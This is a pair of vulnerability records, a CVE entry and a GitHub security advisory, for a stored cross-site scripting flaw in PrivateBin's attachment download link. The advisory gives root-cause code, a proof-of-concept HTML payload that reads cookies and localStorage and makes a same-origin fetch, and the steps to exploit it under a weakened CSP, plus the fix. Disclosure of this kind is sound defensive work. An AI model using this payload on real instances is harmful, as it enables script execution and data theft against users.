{
  "affected": [
    {
      "affectedData": [
        {
          "product": "PrivateBin",
          "vendor": "PrivateBin",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.5"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PrivateBin is an online pastebin where the server has zero knowledge of pasted data. Prior to 2.0.5, AttachmentViewer.setAttachment in js/privatebin.js uses getAttachmentMimeType to accept attacker-controlled MIME types and uses getBlobUrl to create a same-origin blob before setting attachmentLink\u0027s href for the Download attachment link. The SVG-only sanitization branch updates only the preview blob, so text/html, image/svg, application/xhtml+xml, and text/xml attachments can remain active in the download blob. On an instance with fileupload = true and a weakened, stripped, or absent Content Security Policy, an anonymous attacker can create such an attachment, and a victim who opens the link in a new tab causes inline JavaScript to execute in the PrivateBin origin. The script can read origin-scoped local storage and issue same-origin requests, including requests to applications co-hosted on the same domain. This issue is fixed in version 2.0.5."
    }
  ],
  "id": "CVE-2026-55696",
  "lastModified": "2026-08-28T22:16:51.553",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-08-28T22:16:51.553",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/PrivateBin/PrivateBin/commit/7f1f40853efe0eb12db9cc4a30ea8524ac00f423"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/PrivateBin/PrivateBin/releases/tag/2.0.5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-f2xf-7x3g-4272"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        },
        {
          "lang": "en",
          "value": "CWE-80"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "privatebin/privatebin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-80"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T20:22:59Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nStored cross-site scripting (XSS) in PrivateBin\u0027s attachment download link. An anonymous attacker can create a paste with a **text/html** attachment that, with certain user interaction, bypasses protections similar to CVE-2022-24833. When a victim opens the \"Download attachment\" link in a new tab, the attacker\u0027s inline JavaScript executes in the PrivateBin instance\u0027s origin with full same-origin capability (cookie/localStorage access, same-origin fetch).\n\nThis is an incomplete fix of [CVE-2022-24833](https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-cqcc-mm6x-vmvw). The original fix only applies to the inline preview blob (in case of SVG), never to the download link\u0027s blob. Thus a **text/html** (or **image/svg**) attachment completely bypasses sanitization, re-enabling the exact attack class on instances that don\u0027t enforce the recommended Content-Security-Policy, but with a slightly different attack process.\n\nInstances using the default recommended CSP are protected (the blob inherits **script-src \u0027self\u0027**, blocking inline scripts). The vulnerability affects instances where CSP is weakened, stripped, or absent, which is exactly the defense-in-depth scenario the CVE-2022-24833 fix was meant to cover.\n\nRequires **fileupload = true** (non-default) and a non-recommended CSP configuration.\n\n### Details\n\nIn **js/privatebin.js**, the function **AttachmentViewer.setAttachment** (line 2982) processes decrypted attachment data. Since PrivateBin uses zero-knowledge encryption, the entire decrypted message (including attachment content and MIME type) is attacker-controlled and can\u0027t be inspected or sanitized by the server.\n\n**Root cause 1: MIME-gated sanitization (line 3017)**\n\nDOMPurify sanitization only triggers when the MIME type matches **/^image\\/.\\*svg/i**. Any other active content type (such as **text/html**, **application/xhtml+xml**, **text/xml**) completely bypasses sanitization.\n\n```js\n// js/privatebin.js:3017-3023\nif (mimeType.match(/^image\\/.*svg/i)) {          // only SVG is considered\n    const sanitizedData = DOMPurify.sanitize(\n        decodedData,\n        purifySvgConfig\n    );\n    blobUrl = getBlobUrl(sanitizedData, mimeType); // reassigns LOCAL variable only\n}\n```\n\n**Root cause 2: download link always points to unsanitized blob (line 3002)**\n\nThe \"Download attachment\" link\u0027s **href** is set to the unsanitized blob URL at line 3002, before the SVG sanitization branch. The SVG branch (line 3022) only reassigns a local variable **blobUrl** that\u0027s consumed by the preview at line 3028. It never updates the download link. So even for SVG attachments, the download link carries unsanitized content.\n\n```js\n// js/privatebin.js:3001-3002\nlet blobUrl = getBlobUrl(decodedData, mimeType);   // unsanitized blob\nattachmentLink.attr(\u0027href\u0027, blobUrl);              // download link set HERE (never updated)\n```\n\n**Root cause 3: MIME type is fully attacker-controlled**\n\nThe MIME type is extracted from the decrypted data URI at line 3211-3217 via **getAttachmentMimeType**, which simply reads the substring between **data:** and **;** in the data URI. Since this value comes from the decrypted (attacker-created) payload, the attacker chooses whatever MIME type they want. The browser then creates a **Blob** with that exact **Content-Type** at line 2963-2967 via **getBlobUrl**.\n\n**Attack flow:**\n\n1. Attacker creates a paste with an attached **.html** file. The client encodes it as **data:text/html;base64,...** and encrypts it.\n2. Victim opens the paste URL. **decryptPaste** (line 5387-5397) decrypts the message and calls **setAttachment** with the attacker\u0027s data URI.\n3. **setAttachment** creates a same-origin **blob:http://instance/...** with **Content-Type: text/html** containing the attacker\u0027s HTML+script. This blob is assigned to the \"Download attachment\" link\u0027s **href** without any sanitization.\n4. Victim opens that link in a new tab (right-click, middle-click, or social-engineered left-click). The browser renders the blob as a full HTML document in the instance\u0027s origin, executing the attacker\u0027s inline JavaScript.\n\n**Relation to CVE-2022-24833:**\n\nThe [2022 advisory](https://privatebin.info/reports/vulnerability-2022-04-09.html) claimed: *\"whether you open the SVG in a new tab or not and whether CSP is present and enabled or not does not matter any more, as the displayed SVG is sanitized.\"* This doesn\u0027t hold because:\n- The download link\u0027s blob is never sanitized (only the preview blob is).\n- The advisory\u0027s safety argument for the download link (\"opens from file:// protocol\") assumes the file is downloaded to disk. Opening the link in a new tab navigates to a same-origin **blob:** URL instead.\n\n### Proof of concept\n\n**Environment:**\n- PrivateBin commit **597a6f0d** (version 2.0.4+)\n- PHP 8.x with built-in server\n- Chromium-based browser (tested in Playwright/Chromium)\n\n**Step 1: Set up a vulnerable instance**\n\n```bash\ngit clone https://github.com/PrivateBin/PrivateBin.git\ncd PrivateBin\ngit checkout 597a6f0d\nmkdir -p data\n```\n\nCreate **cfg/conf.php** with file upload enabled and a weakened CSP (simulating an instance where the recommended CSP isn\u0027t enforced, as documented in the original CVE-2022-24833 advisory).\n\nFor example, here is a basic config:\n```ini\n[main]\nfileupload = true\ncspheader = \"default-src * \u0027unsafe-inline\u0027 \u0027unsafe-eval\u0027 data: blob:; img-src * data: blob:; media-src * blob:; object-src * blob:\"\nhttpwarning = false\n\n[expire]\ndefault = \"1week\"\n\n[expire_options]\n5min = 300\n10min = 600\n1hour = 3600\n1day = 86400\n1week = 604800\n1month = 2592000\n1year = 31536000\nnever = 0\n\n[formatter_options]\nplaintext = \"Plain Text\"\nsyntaxhighlighting = \"Source Code\"\nmarkdown = \"Markdown\"\n\n[traffic]\nlimit = 0\n\n[purge]\nlimit = 300\nbatchsize = 10\n\n[model]\nclass = \"Filesystem\"\n\n[model_options]\ndir = \"data\"\n```\n\nStart the server:\n\n```bash\nphp -S 127.0.0.1:8099\n```\n\n**Step 2: Prepare the payload file**\n\nSave as **xss-attachment.html**:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003ebenign\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003ejust a harmless document\u003c/h1\u003e\n\u003cscript\u003e\n  document.title = \u0027XSS:\u0027 + document.domain;\n  document.body.style.background = \u0027#c00\u0027;\n  document.body.style.color = \u0027#fff\u0027;\n  document.body.innerHTML = \u0027\u003ch1\u003eXSS EXECUTED\u003cbr\u003eorigin = \u0027 + location.origin +\n\t\t\t\u0027\u003cbr\u003eprotocol = \u0027 + location.protocol +\n      \u0027\u003cbr\u003ecookies = \u0027 + JSON.stringify(document.cookie) +\n      \u0027\u003cbr\u003elocalStorage = \u0027 + JSON.stringify(localStorage) + \u0027\u003c/h1\u003e\u0027;\n  // prove same-origin capability\n  fetch(location.origin + \u0027/?jsonld=paste\u0027, { credentials: \u0027include\u0027 })\n    .then(r =\u003e r.text())\n    .then(t =\u003e document.body.innerHTML += \u0027\u003cpre\u003esame-origin fetch returned \u0027 + t.length + \u0027 bytes\u003c/pre\u003e\u0027);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n\u003cimg width=\"2217\" height=\"888\" alt=\"grafik\" src=\"https://github.com/user-attachments/assets/bf918b75-a977-4df5-8d3f-6e2ffe238c85\" /\u003e\n\nOptionally set some cookies and/or localstorage data in your browser console. (PrivateBin likely already has set at least a `lang` cookie.)\n\n**Step 3: Attacker creates the paste**\n\n1. Browse to **http://127.0.0.1:8099/**\n2. Type any text in the document area (e.g., \"Quarterly report attached. Open the Download attachment link to view it.\")\n3. Click **Attach a file** and select **xss-attachment.html**. The browser detects the file type as **text/html**, so the client produces **attachment = [\"data:text/html;base64,...\"]**.\n4. Click **Create**. Copy the resulting paste URL.\n\n**Step 4: Victim opens the paste**\n\n1. Open the paste URL in a browser. The paste decrypts and renders: \"Download attachment (xss-attachment.html, ...)\" with a **blob:** link.\n2. Right-click the \"Download attachment\" link and select **Open in new tab** (or middle-click).\n\n**Step 5: Observe XSS execution**\n\nThe new tab opens at **blob:http://127.0.0.1:8099/...** with:\n- Page title: **XSS:127.0.0.1** (set by attacker script)\n- Red background with `XSS EXECUTED, origin = http://127.0.0.1:8099, cookies = \"\", localstorage = ...` \n- A same-origin fetch to the backend that returns real data (proving full origin access)\n\n\u003cimg width=\"2208\" height=\"856\" alt=\"grafik\" src=\"https://github.com/user-attachments/assets/b13678ac-6fba-4cb9-a7b5-ad2f9a12adc0\" /\u003e\n\n**Negative control (default CSP):**\n\nChange **cspheader** in **cfg/conf.php** back to the recommended default:\n\n```ini\ncspheader = \"default-src \u0027none\u0027; base-uri \u0027self\u0027; form-action \u0027none\u0027; manifest-src \u0027self\u0027; connect-src * blob:; script-src \u0027self\u0027 \u0027wasm-unsafe-eval\u0027; style-src \u0027self\u0027; font-src \u0027self\u0027; frame-ancestors \u0027none\u0027; frame-src blob:; img-src \u0027self\u0027 data: blob:; media-src blob:; object-src blob:; sandbox allow-same-origin allow-scripts allow-forms allow-modals allow-downloads\"\n```\n\nRestart the server and open the same paste. The blob navigation now inherits **script-src \u0027self\u0027** from the page CSP, blocking inline script execution. The browser console shows: *\"Executing inline script violates the following Content Security Policy directive \u0027script-src \u0027self\u0027 \u0027wasm-unsafe-eval\u0027\u0027\"*. The page title stays \"benign\" (script didn\u0027t run).\n\n### Impact\n\n**Who is impacted:**\nSelf-hosted PrivateBin instances that have **both**:\n1. File upload enabled (**fileupload = true**, default is **false**)\n2. A Content-Security-Policy that doesn\u0027t restrict inline scripts (the recommended CSP is weakened, stripped by a reverse proxy/CDN, or absent)\n\nThe [CVE-2022-24833 advisory](https://privatebin.info/reports/vulnerability-2022-04-09.html) documented that such instances exist in the wild. Instances using PrivateBin\u0027s default recommended CSP are **not affected**.\n\n**What can an attacker do:**\n- Execute arbitrary JavaScript in the PrivateBin instance\u0027s web origin.\n- Read **localStorage** and potentially other locally stored data (IndexDB, etc.) for that origin. \n- Issue authenticated same-origin HTTP requests to the PrivateBin backend (which usually does not have any impact, as PrivateBin does not use traditional authentication methods) or any co-hosted application on the same domain.\n\n**What an attacker _cannot_ do:**\n- Exploit instances with the default recommended CSP (inline scripts are blocked in the blob).\n- Exploit instances that don\u0027t have file upload enabled.\n- Execute without victim interaction (the victim must open the attachment link in a new tab).\n- Cookie access could _not_ be confirmed (see screenshot above), as these seem to be [separated differently](https://developer.mozilla.org/en-US/docs/Web/Security/Defenses/Same-origin_policy#cross-origin_data_storage_access).\n- Access to the opener via **window.opener.document** (same origin) could not be confirmed. (The link is just not opened via `window.open` or similar)\n\nThat said, PrivateBin currently only stores user preferences (language, template, theme) in cookies or similar, so no authentication tokens or session data. Thus, similar to CVE-2022-24833, the practical risk exists for instances co-hosted with other applications.\n\n## Patches\n\nTo fix the problem, we took the following measures:\n* Except for a list of safe common mime types used for media (video/audio/PDF etc.) we overwrite the mime-type with `application/octet-stream` for the download link. This causes the browser to always download the file \u2013 even if the user triggered a \u201eOpen in new tab\u201c action \u2013 with the exception of the mentioned mime-types. This ensures HTML or any other potentially malicious file types (SVG, XML etc.) are never rendered, mitigating any XSS attacks.\n\n## Timeline\n\n* 2026-06-11 \u2013 Received report via GitHub Security Advisory by the reporter.\n* 2026-06-11 \u2013 Report gets reviewed and discussed with the initial reporter.\n* 2026-06-13 \u2013 Vulnerability gets reproduced and patch is being developed.\n* 2026-06-14 \u2013 Patch gets reviewed.\n* 2026-06-1X \u2013 Patch gets merged\n* 2026-06-1X \u2013 New PrivateBin release is published.\n* 2026-06-XX \u2013 Vulnerability details published.\n\n## Credits\n\nThis vulnerability was reported by Rizky Muhammad, @EvidentObscurity, which we\u0027d like to thank for that.\nIn general, we\u0027d like to thank everyone reporting issues and potential vulnerabilities to us.\n\nIf you think you have found a vulnerability or potential security risk, [we\u0027d kindly ask you to follow our security policy](https://github.com/PrivateBin/PrivateBin/blob/master/SECURITY.md) and report it to us. We then assess the report and will take the actions we deem necessary to address it.",
  "id": "GHSA-f2xf-7x3g-4272",
  "modified": "2026-08-28T20:23:00Z",
  "published": "2026-08-28T20:22:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-f2xf-7x3g-4272"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrivateBin/PrivateBin/commit/e0dd4c025c19a182b6a4c6fb77a8bf81ceff6899"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PrivateBin/PrivateBin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrivateBin/PrivateBin/releases/tag/2.0.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PrivateBin has stored Cross-Side-Scripting (XSS) vulnerability in attachment download link via dangerous MIME types with required user-interaction"
}